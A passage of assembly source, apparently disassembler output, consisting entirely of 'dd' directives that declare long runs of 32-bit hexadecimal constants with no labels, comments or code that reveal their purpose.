		dd 0DC593F44h, 39994240h, 547901FAh, 6DF653Eh, 538889Eh
		dd 604194BEh, 0E9246A20h, 0FF11B471h, 37DAAF05h, 0BFCD5F2h
		dd 0B0192CA0h, 30A865BCh, 98003100h, 15C51CC3h,	12FAAB7Bh
		dd 0F2DB238Ch, 1D8B0BE0h, 6B448413h, 42D4250Ah,	0B225BC56h
		dd 180690A8h, 384A1D8Dh, 112C950Eh, 963F0030h, 0C146AEh
		dd 3C03836Eh, 8BC8607Ch, 77A120h, 0EDF59D96h, 0ECF6583Bh
		dd 4CFAC26h, 0F794CB07h, 2048205Fh, 0B1D0AB54h,	860580DCh
		dd 180339B3h, 0C4C0E001h, 42AF30DEh, 312FB049h,	484CD420h
		dd 6C99B2CCh, 9CE8514Bh, 0C9AA5F58h, 7C64C2CBh,	1AA1F300h
		dd 39931CD1h, 8D7B0034h, 0D0EDCF35h, 0BE2F45B9h, 0E18C984Ch
		dd 0E7500EEh, 2A183601h, 26270663h, 61442CFh, 7BC9E4E8h
		dd 5599C0B3h, 0D5EAC8F9h, 47328203h, 0F0EE218Ch, 0EEB6BC38h
		dd 846901AEh, 94F21BB9h, 0A6643082h, 0D3626303h, 3CBB488h
		dd 2A441F49h, 0D7A8CFB5h, 0D4F41C65h, 9AA4BE00h, 0FB127497h
		dd 824C2FACh, 2B44091h,	0CE4407AEh, 80488993h, 0AF707FB8h
		dd 4FDB3C71h, 81509C45h, 0EC88485Eh, 8AF71244h,	11B0BCF8h
		dd 0B326BC54h, 6AAB6030h, 18007888h, 5875E33Bh,	4AFDED3Fh
		dd 81F8CAC9h, 0E782C7B7h, 0BC71A8h, 0EBD73867h,	0A94CB373h
		dd 38CF08A1h, 0E9AD82ECh, 0E51B60BBh, 0DD06010Ah, 96A9675h
		dd 0B45C8F8h, 0C5FACA2Fh, 487D0028h, 0E16E70ABh, 3F170700h
		dd 334CCC43h, 0D46426E6h, 4E724D5h, 84A7DC88h, 2C8B628h
		dd 0D54B4631h, 3C4389h,	78276D11h, 0D1AB9FB0h, 2B8BD750h
		dd 23000BE2h, 0E996FECEh, 1E21BF7h, 58C0285Eh, 2819E7CCh
		dd 0EEF880ACh, 42E597h,	3364F2DEh, 1507D721h, 2EE2CE02h
		dd 7EA440F0h, 723280E8h, 71589E4Fh, 2F48C705h, 0D016DBAFh
		dd 7C7A18A3h, 30A0951Fh, 0C086F35Fh, 0EBEA0A00h, 0FDA47403h
		dd 47D92CCBh, 645364B0h, 0FAD3CC1Fh, 98C22001h,	59CC46B7h
		dd 0D00912B9h, 184A88Bh, 0A1E80171h, 78545AE4h,	7789D61Fh
		dd 0C478ECh, 0BE29CA95h, 0A7FB0D2Ch, 767D4C16h,	0A85868A2h
		dd 0A001518Bh, 0D2BF5421h, 0EB250CE6h, 0CBD482h, 0DA70EFFDh
		dd 0B8957D3Eh, 185C024h, 0FC77678Eh, 24DB2F47h,	0D0A2BE5Ch
		dd 1F00B0C6h, 9965385Eh, 571AE7h, 4E535290h, 0E4662D0Fh
		dd 1FF8A400h, 0BE4A24D3h, 0F2E93FB6h, 6022F3Ch,	0B886ED16h
		dd 4CA319C0h, 44148878h, 7C900355h, 1190D205h, 8800BC35h
		dd 548166C3h, 61189EE5h, 3A39AE95h, 51FC3C20h, 6CDB007Ah
		dd 0A15CBD0h, 2F02629Ch, 0FD1C299Eh, 10A447F9h,	209C42F3h
		dd 40DA25C7h, 485BF0A9h, 276C4501h, 9C2AB78Eh, 2F859F20h
		dd 0E2B8A00Dh, 4C336F10h, 0B810A827h, 48D4B7Fh,	8B78D020h
		dd 39CB47E1h, 3D3AC0C0h, 95C9Ah, 0CB6B362Dh, 8EC9D86Ah
		dd 24853898h, 0C32243BEh, 3E6C1000h, 0A80FF795h, 4FA44891h
		dd 49010059h, 0C764A388h, 2E40BCD2h, 0D16F1422h, 284EE058h
		dd 500A710h, 4C5C1D84h,	3D69F6Bh, 4057D406h, 0F04C8367h
		dd 0AE78C0ECh, 1FABD282h, 0CBAF621Ch, 0D4808BC9h, 50757F83h
		dd 2FF18E7Dh, 0F0047488h, 4CB83Bh, 50A72EB0h, 0F7B99697h
		dd 0DE2BC300h, 246231E6h, 0D3BD057Dh, 4B3ACB2Dh, 0E0F9B4BCh
		dd 35465400h, 0F6D2AD6Eh, 1690E7h, 0E80C118h, 633F2308h
		dd 0E6D3C927h, 45F2000Ch, 0F0E34B9h, 0B307FA85h, 3D32EDE1h
		dd 21224D61h, 0F498007Fh, 0BB3526D1h, 10E5ECA1h, 52D31B2Ah
		dd 0BF0098ADh, 0F9A002C4h, 0B100445Ch, 881F51F6h, 7D0C8Dh
		dd 711C247Eh, 6CC2B47Bh, 0BA0BCD73h, 0D0CB3B07h, 3C2B0F9Ch
		dd 3FE52253h, 0CAE8F8DEh, 0D9427C1Bh, 60145546h, 71049300h
		dd 7092238Dh, 21E10027h, 1514D82Fh, 0D11786E6h,	0D088F1C4h
		dd 0A17B3BA5h, 0F9DB0280h, 66517C9Ch, 0E82BA835h, 0CD70C8h
		dd 5503B2B6h, 904E3EAFh, 1DCF3300h, 8FA52A82h, 717A0384h
		dd 0D880C4B3h, 0AC0C84FDh, 0FA0C815Ch, 1DC4D90Ah, 0E87200F0h
		dd 715A0EB2h, 0BB51405Bh, 80143C84h, 3717BDC7h,	0D91900D2h
		dd 0A69B44B4h, 28027FB3h, 0DAD03C7Eh, 2C405CC5h, 30E52D74h
		dd 3168300h, 727392CBh,	2CDC4C0Ah, 69669380h, 5FFE7DD8h
		dd 0CABAD302h, 7EDCF770h, 3914AC00h, 8425A5BAh,	380F5374h
		dd 3060E3D3h, 7DD92272h, 0E55EC900h, 650DAE61h,	7728139Ah
		dd 0C4AC01D7h, 2F7ABC21h, 2203B480h, 6EC208CCh,	5180D2AFh
		dd 0E590181Bh, 7D850764h, 0E1BB3CE0h, 337A46DAh, 8A890050h
		dd 1C9B85F2h, 798300C8h, 0F3D72903h, 0EE01D0ABh, 74333CC3h
		dd 0ECFE7213h, 0F5AF0140h, 73ADB382h, 5C046ACDh, 401FCB5Ch
		dd 0D3A8AD1h, 6A583014h, 0EF7113E8h, 27470C01h,	0C0832685h
		dd 0F1965852h, 41E51800h, 65C0B449h, 8656026Ah,	58BC82FFh
		dd 48571040h, 4B21726h,	21802A00h, 0F123EDh, 0C85B7C99h
		dd 8E42C1FBh, 0CC44E5Ch, 40B1400Eh, 743A20A8h, 0AFBC7010h
		dd 0E152317Ch, 0C889F519h, 0AD30D0AEh, 0D80BA816h, 86FF80C6h
		dd 7D3740h, 3B6F3587h, 0AF3389F6h, 79EBCD00h, 393E9395h
		dd 301318CAh, 0F2D14068h, 32AA74A0h, 870A7C84h,	83089610h
		dd 288E73AEh, 0A02B043h, 0F0A4D031h, 80C0993Ch,	43994A7Ah
		dd 1B0131FFh, 0D1842C6Ah, 0DDD2683h, 63048DDh, 1EEE00E3h
		dd 231F76DFh, 13FF4C0h,	4D81964Bh, 3F23C4A2h, 29784E0Fh
		dd 726400F0h, 133DD43Ah, 7E35F2Fh, 9F3EC52Ch, 7B5618A0h
		dd 97D72Ah, 3C504EECh, 6C9087h,	0AD510F47h, 9EC479B7h
		dd 48CA1603h, 128A5488h, 0EAE6BA20h, 0F1203310h, 2319A9F2h
		dd 0B18300F0h, 0E2CD5BF4h, 380D0097h, 0C1F3DB9Fh, 7804FA4Eh
		dd 63D82062h, 3CBBCCCCh, 8880138Eh, 0D56EC4CBh,	9E7DB9DBh
		dd 1B0AAB16h, 884ED0F3h, 47720C48h, 0CAA45101h,	2F6B3E1h
		dd 0F0587020h, 0F4580F4h, 8CD80328h, 94304E7Ch,	7224C08Eh
		dd 0D0B35B1Ch, 88D1DA54h, 0EE442A04h, 53EACEE9h, 17CE4CCh
		dd 0B188C901h, 57DF149Ah, 0C8A8802Ah, 9C995A8Fh, 0CE931700h
		dd 9FA0B47h, 0B93F71A9h, 9F3A4100h, 0EC016E66h,	263D2142h
		dd 0C12B162Ch, 8DA368FCh
		dd 68CFD690h, 9F1A9891h, 44288802h, 0FF001CDEh,	897688C7h
		dd 3D5620Eh, 57EEC41Ah,	58029560h, 1052FD15h, 2BBC60E0h
		dd 0FA5A023Bh, 0F14B4091h, 49092043h, 8295FDBAh, 2F41B90h
		dd 58C850D8h, 2F80E25Fh, 5A102ECBh, 0C0E54490h,	3F4ED0D2h
		dd 46376090h, 216C080Fh, 7E21000Bh, 0E7776E13h,	64F3DF3h
		dd 0A97CCC30h, 0B830E925h, 458240D4h, 80B1323Ah, 0A7AE9B6Eh
		dd 0EE625Ch, 0C3720A69h, 0FAC7C4A2h, 0F60082F8h, 5458FB0h
		dd 0E61092h, 26AB6D6Ah,	8CEDEBC5h, 80908800h, 0E8286FE3h
		dd 10A6012Dh, 3B1F215Ch, 6BC9CC99h, 9E6EC801h, 834F51A7h
		dd 13480DCh, 0C732BC85h, 0C05ED4F4h, 78001E2Fh,	0EA41D375h
		dd 0FC51326h, 0A4FD0F1Bh, 46710A20h, 0B200EF97h, 0BDD466B9h
		dd 0CAF4E2h, 0D5BA7E5Ah, 6398482Bh, 6C8B3600h, 4268F816h
		dd 804100A8h, 57B50EC5h, 3218ABFDh, 0DC191004h,	0A9D8005Ch
		dd 7DBEAF2Bh, 0BC3AB765h, 462060A1h, 23B0CEAh, 19ED687Ah
		dd 1A40BDE9h, 4C30FA7Eh, 0BC351839h, 0A504035Ch, 31157F3Ah
		dd 0A25F3CC0h, 28FE0BF0h, 60696303h, 3080702Dh,	5D80B458h
		dd 300186A2h, 6A3CB678h, 0E6E0A7BDh, 8390EA6Eh,	0D1FE34E0h
		dd 9EE818C7h, 3998726h,	0EC330973h, 68007B28h, 8A08EA0Dh
		dd 0CA7687Ch, 0F0FA0A91h, 0A3322BB9h, 225F807Fh, 2263047Bh
		dd 10995803h, 0B89F3DADh, 640A34A2h, 0C0E218B0h, 0AF3222A2h
		dd 0DE784FF8h, 9485F828h, 0E56FB61Ch, 0EA8E9842h, 65A486E1h
		dd 66C82190h, 7E10861Eh, 4CACF282h, 3332907h, 31C87456h
		dd 9EE8B028h, 0C8101BAEh, 23E0E166h, 0E306C040h, 93906A9h
		dd 6836C4EAh, 0C07840FFh, 86FB775h, 0A80415A9h,	3D95303Eh
		dd 3721010h, 98B06300h,	0A29F2CBCh, 2D7E00E7h, 0DB3E883Fh
		dd 300C76A6h, 2905CE10h, 9F088A8h, 957EA100h, 3F154A31h
		dd 0A4FF497h, 0E39BFAE5h, 194600FCh, 2840B0B4h,	0EA0FA573h
		dd 0C7D74B8Fh, 3C90F75Ah, 3E9F22h, 0A4257FC2h, 0B68698AEh
		dd 9E2EB300h, 7543513Ah, 0DA4000A0h, 274C78E9h,	0FF030BBFh
		dd 26C860E4h, 0C8AFF3FAh, 2CD28880h, 18EBAD04h,	0BAFC20FDh
		dd 9B26E37Bh, 0D5005268h, 0EC571AA0h, 5FEE3DC0h, 7D646581h
		dd 80CF2646h, 5EF64C10h, 0A13AB1h, 0A3BCFB86h, 0BE945A1Fh
		dd 0AE09900h, 0AF4510A5h, 1C05003Bh, 0BF1DB56Ch, 5C2857E8h
		dd 0ACFAB063h, 0C4E60D2Ch, 177FA900h, 0F21AE52h, 7916119Ah
		dd 60839266h, 0CACEE503h, 88054DECh, 31AAB5h, 0F46B1D9Eh
		dd 2A69C5DCh, 80D93A3Ch, 9282C61Ch, 66D86Dh, 0FC3F28BDh
		dd 0D7E4C870h, 9EA5A005h, 1BD14909h, 2E305C92h,	3DC60025h
		dd 0DEF13C75h, 3A03388Fh, 4583BD73h, 0EF69F061h, 5DDD0293h
		dd 3ED114B2h, 5979D6E0h, 9C0F6300h, 0D6E34CC0h,	0CE640BA7h
		dd 0DFC1A9h, 0A5DFC493h, 0AB5524DCh, 48B70028h,	9F4C47A3h
		dd 5CF0DA25h, 0BB960011h, 5742A84Dh, 0EC00DEFEh, 0F5C62C6Dh
		dd 0FFC9A7Ch, 9541204Eh, 0CAC0ABCFh, 449482FBh,	0EDFE4500h
		dd 1468693Ah, 33CF013Bh, 4FB9773Eh, 0B71989E8h,	627580E7h
		dd 7D036AD0h, 1E300F1h,	648DE699h, 0B1E65143h, 67002892h
		dd 0FC52D0B5h, 70EE205Eh, 31E72AD8h, 0A65516D8h, 0CC700005h
		dd 33A291ADh, 492B540Eh, 0F55F00A7h, 75A9D0h, 4CA44417h
		dd 134E9409h, 2BB03Fh, 0A00A5A7Eh, 0FA20346h, 88A5B26h
		dd 0F2278D8h, 0C83BF109h, 414C0052h, 32B37D44h,	10C9E24Dh
		dd 998DE060h, 63103C60h, 25B307h, 0E0223E75h, 0D281B49Dh
		dd 21551907h, 4418E60h,	5CF44650h, 2B390F0Ah, 4009A4C0h
		dd 0C39BE801h, 722ED4F1h, 0DAC1261Ch, 75168079h, 1E7D6864h
		dd 51410096h, 998C2486h, 8D00D96Ch, 343A87FFh, 48ECC079h
		dd 8601702Ch, 1F364E01h, 3A88D47Bh, 71E98500h, 0B12C50A6h
		dd 285E0763h, 0C03BB5DAh, 83C01370h, 34F04Dh, 1B15AE5Bh
		dd 0E3D043E2h, 39CE6080h, 7895C0Dh, 218020F7h, 0C2731B00h
		dd 80DA788Ch, 60B598BFh, 0E39C801Ah, 16484AFAh,	38E809F9h
		dd 3960A054h, 32CF7AEh,	1FB2ED13h, 6F833DFh, 5E066861h
		dd 0F5F64D04h, 461C3B11h, 154EEE00h, 1A2003B2h,	21FB600Fh
		dd 3D7D402Ah, 0F26171h,	8CC574D9h, 342B1975h, 0C4F8652Eh
		dd 16A28F00h, 77378A3h,	546047A8h, 1F59B084h, 0FDFC67BCh
		dd 2604D01Eh, 8DCD7F00h, 21A4A2h, 2E59DCFAh, 0E216AFFBh
		dd 11452916h, 0D3128B00h, 9E5BB1h, 0F1E6FE86h, 0FAE83423h
		dd 437C1300h, 45144AFBh, 0BEA04CB1h, 7B0CD806h,	8D0030E8h
		dd 0C0ACCBA7h, 1EE02BADh, 4A96CDCEh, 0BCA9A1h, 0B7F846Bh
		dd 1603DB10h, 5034DDB5h, 0E489D05Bh, 7DFFA06h, 0F032B11Ah
		dd 5E413002h, 0D41F8B38h, 6E87F104h, 479006B0h,	3B08A058h
		dd 4CC8B2C2h, 9A8FE00Fh, 90341227h, 0F786EF98h,	1DF0E360h
		dd 0CFB45Eh, 843225A8h,	26DABDB5h, 8F402749h, 0C0948FCAh
		dd 5C3BA824h, 8B800F58h, 1329DB6Ah, 0BC403000h,	0CE00AC51h
		dd 5D445566h, 8A71F4h, 0D6DD988Ch, 0FF6E30B0h, 0FED58200h
		dd 0FD6283F0h, 0B75E0EE2h, 0A3C0D9E8h, 4A390618h, 37700200h
		dd 4D2E7150h, 809A268Eh, 0A6400F0h, 0D40C55C7h,	6F127075h
		dd 2C007FD2h, 71D77321h, 489E7367h, 4C00E0AFh, 0CC4F0999h
		dd 8A00795Eh, 0B77EC4CAh, 303E814h, 3B40ACA8h, 66D87BFBh
		dd 57000CE3h, 6A058342h, 278699h, 0A3D27A15h, 5BF004E8h
		dd 0B40E49EEh, 0E0B86710h, 399DD378h, 0CA691D96h, 0EE770121h
		dd 0DC059BCFh, 4B0051F6h, 8ADE356Ch, 896B11h, 0FF546AFBh
		dd 0FE822103h, 1967FE90h, 0AE704811h, 309626h, 0C72F4D47h
		dd 4BD3D4E0h, 66E80900h, 606CABEFh, 9998C076h, 72D6112Eh
		dd 9D00C47Dh, 4F08912Ch, 0C29539h, 102D2614h, 4A35359h
		dd 71279000h, 0C4DBD381h, 1787E8AFh, 40327EBAh,	0DB8B32Ch
		dd 5673666Eh, 9D30FCEBh, 3A964A00h, 0AF124F91h,	8DE70009h
		dd 6B827049h, 200011E8h, 0BAB881C5h, 48591EA2h,	0F613AC57h
		dd 95AC07F3h, 3DF49093h, 8F00B32Ch, 0D40BF9EAh,	4D7B298Eh
		dd 3000883h, 0B3BAAC3Fh, 11060489h, 3DAD4509h, 1D8A399h
		dd 0CC690729h, 0D1790905h, 2944D00Eh, 3C247E54h, 0B8039B81h
		dd 0E410080Dh, 8BE1209Eh, 0CD61F0h, 0E3046686h,	0D5A9B1B5h
		dd 11F8000h, 0CC510B0Dh, 69432EC0h, 0FA9781B4h,	8083EAE7h
		dd 0CC99B164h, 0F4DFDA3Dh, 8D015C39h, 0C0C2F48h, 3C0A2E4h
		dd 0DC0320A4h, 0DDD55DDBh, 8244E28Ch, 836CE60Ch, 0BABBA70h
		dd 36DC98B0h, 888CCC80h, 8400E960h, 8339A9DDh, 3FA1A72Ah
		dd 0F39FE7F7h, 14044001h, 0CA6E878h, 0B799F40Fh, 56D98062h
		dd 60417047h, 0B5362093h, 96EEF24Bh, 75FE1D00h,	0F8C4606Bh
		dd 0C1F400ABh, 6566E928h, 0D01DA8Bh, 8F15154h, 0A9806768h
		dd 0D9C7FCF6h, 0C11C2FB5h, 320A5C59h, 0E6001006h, 76C5B19Ah
		dd 3FC009C6h, 70681472h, 0A73E9BE7h, 586F04FBh,	0D0C171B0h
		dd 0F9821909h, 0ACE48F41h, 0C1F838C8h, 60021F6h, 0AEEE602h
		dd 797EFDh, 0A96BE7AFh,	5FD92090h, 41403737h, 513603AEh
		dd 2982C80Ah, 37F58B0h,	0E6780577h, 0EBEC0C98h,	373F0CC0h
		dd 0A0F00F9h, 83B20214h, 0C00F0E6Dh, 80DF3549h,	0BE03340Bh
		dd 863066Eh, 20A75AC1h,	58F57600h, 299FCF20h, 0BD1D007Fh
		dd 3001496Ch, 7E74CD04h, 27BCB71Eh, 0A2A70Eh, 0B1660A0Ch
		dd 0E3BD0054h, 2A4C614h
		dd 7634E298h, 47011D2h,	0C79FE1FBh, 0F0C88C10h,	7D76EF99h
		dd 193E1F07h, 0C5F0CDE3h, 0EC924Fh, 0D1237972h,	0E2A6B15Bh
		dd 1DDBF100h, 75424933h, 0AD9C0790h, 10F3E8ACh,	0DE9E619Bh
		dd 6CC6FB00h, 38270E24h, 84B100C4h, 0E2F550DBh,	6A7CA586h
		dd 6400DAE4h, 62439096h, 38AAE7h, 456FCEE4h, 7FE2C799h
		dd 7A48E500h, 0DACF6E1Ah, 376800BBh, 0D2018EA3h, 0F1003B41h
		dd 7F33E46Fh, 2A7EABAh,	3F6C24DEh, 8A63FC5Dh, 0EBA916F0h
		dd 3A29EE00h, 8D7F5A13h, 0CCB03C7Eh, 0C01EDC1Eh, 0E421899Dh
		dd 0EF008279h, 0CE679211h, 578CD6h, 4546175Ah, 8D0C88FEh
		dd 382E350Fh, 0C9B078D8h, 0A1C11FD2h, 6C59821Fh, 0B0A94C7Dh
		dd 3E435400h, 0B0081E7h, 33A6FA86h, 1F6BD5FEh, 0C02B35DBh
		dd 0CC7E11C2h, 1300CB63h, 0FCCA303Fh, 0B32932h,	89965983h
		dd 0F963CEF2h, 0A5665315h, 39B500E0h, 95FC937Eh, 5FFE00D9h
		dd 0C7602531h, 3700445Ch, 0BD29B1F7h, 12C34948h, 0BE520491h
		dd 0F0EC3901h, 10209881h, 3D11FCC5h, 0F016CA6h,	3B705CB2h
		dd 97D4C051h, 3893F407h, 9C3068F3h, 0C43D8Fh, 0B351325Ch
		dd 0D588874Dh, 3E1A9601h, 16BDF1DEh, 47BBD4h, 75DEC56h
		dd 1CB75035h, 6CE83100h, 0D08CD12Ch, 0F4471F93h, 55EEC338h
		dd 0C1D8D89Fh, 0CD0064EFh, 849CDF95h, 947653Dh,	77CB8E61h
		dd 2FE0582Eh, 3CCE0EDh,	39F05B00h, 96FD9A7Fh, 660100C3h
		dd 95D8A4FBh, 5D008A11h, 105BA7E8h, 9FD484Dh, 5E326C70h
		dd 4C340820h, 2C0ED1ADh, 80861BD6h, 0C029F8F7h,	3D6900ACh
		dd 0D298B784h, 0AA05C759h, 60FA9FADh, 3C41BC4Ah, 62F3D880h
		dd 0BDD6D5h, 0A5A3FF80h, 814A49C5h, 69063Dh, 99EE2ADBh
		dd 589CAAE8h, 0A82E9EE3h, 3A7700E3h, 0F827B869h, 75E5E900h
		dd 1251F37Eh, 9B6700DAh, 64B49AA6h, 2419C9B5h, 38A819CEh
		dd 83000022h, 4967B39h,	0F900DE9Dh, 0E76EB25Ch,	0E186325h
		dd 9342B444h, 0FC0B61A0h, 690068EFh, 6F2C7203h,	13DFB14h
		dd 111553F1h, 6BE5F9C9h, 3A06B0E0h, 0C6031740h,	89C4CB16h
		dd 0EB7DC590h, 7F02F407h, 6B3C93h, 0FCBDCC6Ah, 2DF417h
		dd 22DB0EA4h, 0D7C07055h, 0F76D1507h, 0C320CED1h, 45D3D9h
		dd 6123F4E2h, 63607173h, 8238D800h, 8C97BF3Eh, 6A870B4Bh
		dd 6F8FBE5Dh, 37499038h, 96F8D50Eh, 8E85838Ah, 0FCFFB8E3h
		dd 15C10012h, 1A739DADh, 0D5145481h, 8CD360h, 0FC830526h
		dd 0DCF06Dh, 0C2D9C40Dh, 935FB651h, 0C7C6AE00h,	0EC292CCAh
		dd 0A2E601ACh, 0AF47F99Ah, 15A5C468h, 0FDBFCE00h, 0F279E769h
		dd 5898A032h, 8DD50095h, 0E0918AD8h, 0FF0102EDh, 10EBDD4Fh
		dd 1BC8CD0Fh, 0D8C2003Ah, 2517347Fh, 53046C43h,	8201923Bh
		dd 2307BCD0h, 6B1C277Dh, 0F90092D0h, 2BE58A7Ah,	480EC8E2h
		dd 69070837h, 0B333E991h, 70B0C244h, 0D1F206BBh, 235E3000h
		dd 0D6191698h, 22DC004Ah, 484EF059h, 0E5006BC5h, 0EA3146F7h
		dd 30D581Ah, 5F504041h,	0E9E82207h, 49024BE0h, 735C4FF2h
		dd 0EE5469BDh, 91C11C8h, 6CF0B02Fh, 1A760000h, 513D0D07h
		dd 9FA7850Ch, 98038A3Ah, 0F0C26020h, 279AAE5h, 0DF80505Dh
		dd 8CE00947h, 62006FB6h, 249E08A7h, 0F20B01h, 0C30DD311h
		dd 8504819Dh, 0FEB00E00h, 0B5F4B973h, 0CFF9033Ch, 0C31D411Fh
		dd 4AF5E1F0h, 11F3A70Fh, 5BBF219Eh, 0BC300BFCh,	277E060Ch
		dd 0DAB4A928h, 0BB312600h, 37C08995h, 0BF9B2AAEh, 7F1200E4h
		dd 5D3D72D1h, 2900BEF6h, 0B85731FAh, 0DB5C15h, 84E5C0E0h
		dd 0AA5B3063h, 0AF28191Dh, 0CB216F80h, 17E23DBEh, 0C8AC82h
		dd 95D498A7h, 0C90F64Dh, 0B0FE03E8h, 49DD9F00h,	8491D8C7h
		dd 4E5ECC8h, 0B1463E92h, 20448C42h, 0D9BDC10Eh,	7BDAE3A6h
		dd 0E13F98BEh, 0B2320F16h, 12201E4Ah, 976AA3D8h, 0C2810918h
		dd 5CD630h, 2AD1ACA4h, 83C1E154h, 1E17AA05h, 0EBC0B8A7h
		dd 0FAC5FFFh, 0DD3A3BDEh, 0CB76F3A0h, 31D8BF4h,	6443D794h
		dd 0B04D2FFEh, 49BA92h,	5438F9DFh, 0A39334C6h, 26259903h
		dd 80A4AC75h, 204F867h,	9FE6B772h, 0EB820843h, 60489405h
		dd 710036FEh, 0CB1ED7FBh, 755FC7h, 0E85B371Ah, 25D1748Eh
		dd 0F9096898h, 8095A7EBh, 0E5368D7Ch, 5BF4021Bh, 5F3FDDBDh
		dd 1D2A7CC8h, 0C7FED307h, 82207502h, 38396DD5h,	0D1009F7Ah
		dd 2C6AFCC0h, 0C9005E23h, 33C4888Ah, 132EE9E4h,	0FB774190h
		dd 0EAD5BF00h, 3EFD53h,	9B56BD5Ah, 7CA421B6h, 0B8926631h
		dd 41E8803Dh, 0A0A04D0Fh, 0E8EA516h, 9BA24BB6h,	866224E3h
		dd 0DB9588A0h, 90C599Fh, 85B48AAh, 42CF373Ch, 0C0018720h
		dd 3D10FE27h, 0A9B66801h, 1CD41D33h, 1BB1AFE0h,	699FE293h
		dd 4530B6E0h, 1060A074h, 0B8434E61h, 0B29B00D6h, 0BE576180h
		dd 3016E61Fh, 0BB0A1D74h, 271C5404h, 904711C0h,	74CF48B6h
		dd 454D0B6Fh, 8C23D6E0h, 0B2B067FBh, 2B00AB11h,	0B302F570h
		dd 3D1363Fh, 175FAA0Dh,	0EA98A7BEh, 0D800D2E5h,	0A99D653Ch
		dd 186A8CEh, 0E082FF68h, 6050D76Dh, 9B00447Eh, 0C41A9DD6h
		dd 78179095h, 0D1F03EB1h, 0C3E92C00h, 0C7253670h, 43AA4F00h
		dd 7B8E8A35h, 22570040h, 0D484D313h, 9401622Dh,	7226636Ch
		dd 67DC7A1Dh, 92AD5C3Bh, 53B02C00h, 0F49ABD52h,	7270C51Fh
		dd 0CE3D8C80h, 4A999Ch,	0E1AE585Ch, 0F85DCBA8h,	68CF1600h
		dd 7A9B388Fh, 8051E3BDh, 327125B7h, 4917476h, 0F930BDA8h
		dd 5B1A100Fh, 0FC8E5E76h, 0E8E6123Eh, 4E3D4000h, 917B46h
		dd 0EAD9BB7Ah, 7FE1C35Dh, 37508C17h, 8FFDE000h,	0B831ED6h
		dd 2A867DDDh, 8D0D4201h, 0AAF020B4h, 39056E00h,	0A9039479h
		dd 18F816h, 0E1EE2BF8h,	3B9EF3C8h, 0F0031B73h, 0C322AA70h
		dd 0EAC0952Dh, 5C632BB1h, 8900E079h, 0E9A1CE83h, 0C930431Bh
		dd 0F5C206B8h, 0E72C1C39h, 0CDAA803Fh, 70BA4CF6h, 0D1FE5C07h
		dd 9BD095C2h, 0D43E56h,	0EFA9A66Bh, 44C0B75Ah, 426D9300h
		dd 4ADD5CDFh, 0B1F40014h, 0B72D2C29h, 9C00558Eh, 32DB3024h
		dd 4D116Ch, 0D748F954h,	69E35388h, 0CC06F74h, 0FB5D077Fh
		dd 89A00D6h, 0E9F95518h, 0E1031B45h, 3DB7AF90h,	0FD018135h
		dd 29C9F8h, 7D70F2A5h, 78E87920h, 641C8301h, 0DE34B9C5h
		dd 62C87C8h, 136A2DFFh,	5FF6BE4Bh, 3772DCA9h, 1A23F44h
		dd 0A63261B6h, 0FF5D89h, 0FA06B219h, 9F550A0Bh,	0B72CD604h
		dd 0C0A0FDB5h, 51C5649Bh, 0DE3101ACh, 68CA9CF1h, 93C15Ch
		dd 0AE478864h, 550182F5h, 44A0E016h, 0A5DF811Ch, 8038B8EEh
		dd 0CAC0EDA4h, 3CE51F3Ch, 0DE006F9Ch, 49942B15h, 0B1070A6Bh
		dd 22A26732h, 7B692CA0h, 0D2840054h, 5C2DF9ABh,	400050F2h
		dd 724E3CAFh, 3078B21Eh, 0C0C9E75Eh, 7316E0F0h,	7518E316h
		dd 0FEB97BA1h, 78A800B3h, 0B4D4F5Ch, 0E500AAC7h, 0CD062BAEh
		dd 4C97B926h, 0EC0210FBh, 0D34045E1h, 0C2C1D868h, 5C00D4B8h
		dd 0B71EB99Ch, 8A1FE4h,	0D877521Bh, 615BE835h, 0C331167Bh
		dd 4D8E0CEFh, 982015DDh, 5CB106FCh, 919B0399h, 0B0AFA100h
		dd 58EE543Ch, 553700FAh, 42D849C5h, 16005994h, 5C3470EBh
		dd 8452B6h, 0C13ACF89h,	0C428DCEh, 80D2823Bh, 0EA6AA811h
		dd 121DFD52h, 0FE8BB18h, 5F41A96Ch, 0BDEE0156h,	0B8A80010h
		dd 77AF3A3Dh, 794E0063h, 0F30DB976h, 4C0196CEh,	0A48DE44h
		dd 3FD47B02h, 0A8A02884h, 0AF7901A8h, 30F01264h, 823DD8F7h
		dd 2B390E60h, 373B275h
		dd 0B57C9E33h, 0C0B7AC9Dh, 797D9BAAh, 0A08F1C28h, 0CC8A0A00h
		dd 0F3EE588Bh, 48AE7077h, 0A6112C26h, 0E883005Ah, 46D3BD79h
		dd 60F04599h, 787C97B8h, 3AFEE439h, 0AE9680FAh,	0D69A62E5h
		dd 0C2BF008Eh, 0DC7EB792h, 0E8125E28h, 4C008477h, 0A794DD17h
		dd 98C600BAh, 3BDFE3BEh, 68022DDEh, 443D2F1Dh, 403C59B2h
		dd 4FF58073h, 776A41C0h, 3F33C38Bh, 9D257A86h, 93079082h
		dd 9FE88C6Bh, 800394Bh,	0DE885DC0h, 6A65C26h, 1E1DB9F3h
		dd 0FF005860h, 270D2130h, 7AFC23Ah, 9BE7A479h, 96C110D0h
		dd 54009935h, 494F15E5h, 2EE484F2h, 10736D8h, 480ECDEDh
		dd 1DBC4255h, 0B8001C50h, 9392D66Fh, 7E68F4Bh, 0F45468A2h
		dd 3E0C90D7h, 8E60DB38h, 8DCAC918h, 0EB5700BBh,	0AE8B6541h
		dd 26034001h, 276C7A81h, 0D2801A6h, 45D798B7h, 3A0870F5h
		dd 9E5F1700h, 0F66F7FDBh, 0B6130073h, 54CED51Ah, 900133C5h
		dd 11F2F7A4h, 0D3D8B376h, 36721DF0h, 0D019F06Dh, 0A498A301h
		dd 8FBD4F00h, 0B7785ECAh, 0E0EE02D5h, 3B9A2D0Fh, 5F002070h
		dd 0A7EA2449h, 767B35Bh, 6460A9DDh, 7ACF5004h, 0F1121493h
		dd 9412404Fh, 5751FC80h, 65691FF0h, 0D788405Dh,	40830563h
		dd 0A0EF2501h, 0AD449CAAh, 5DF2E083h, 2FD8CD09h, 1E0C7512h
		dd 0FACC8852h, 48FF0064h, 393C1158h, 670761E2h,	24F72B1Bh
		dd 66DDBF50h, 0B4C00D7h, 2A2832E8h, 7501D9C4h, 0E63D41BCh
		dd 90D4AB3Bh, 0B65801E5h, 9CB43288h, 0E0B8DD87h, 2200B56Eh
		dd 8B1BE0B3h, 8A4F4Ch, 4A2A79EDh, 0E32D52C8h, 87E0B49Eh
		dd 79FDE754h, 4661076Fh, 0C03B26A6h, 5F12FA83h,	24586416h
		dd 0D301D040h, 2423180Dh, 11413ACh, 40F6694Eh, 9767E4BAh
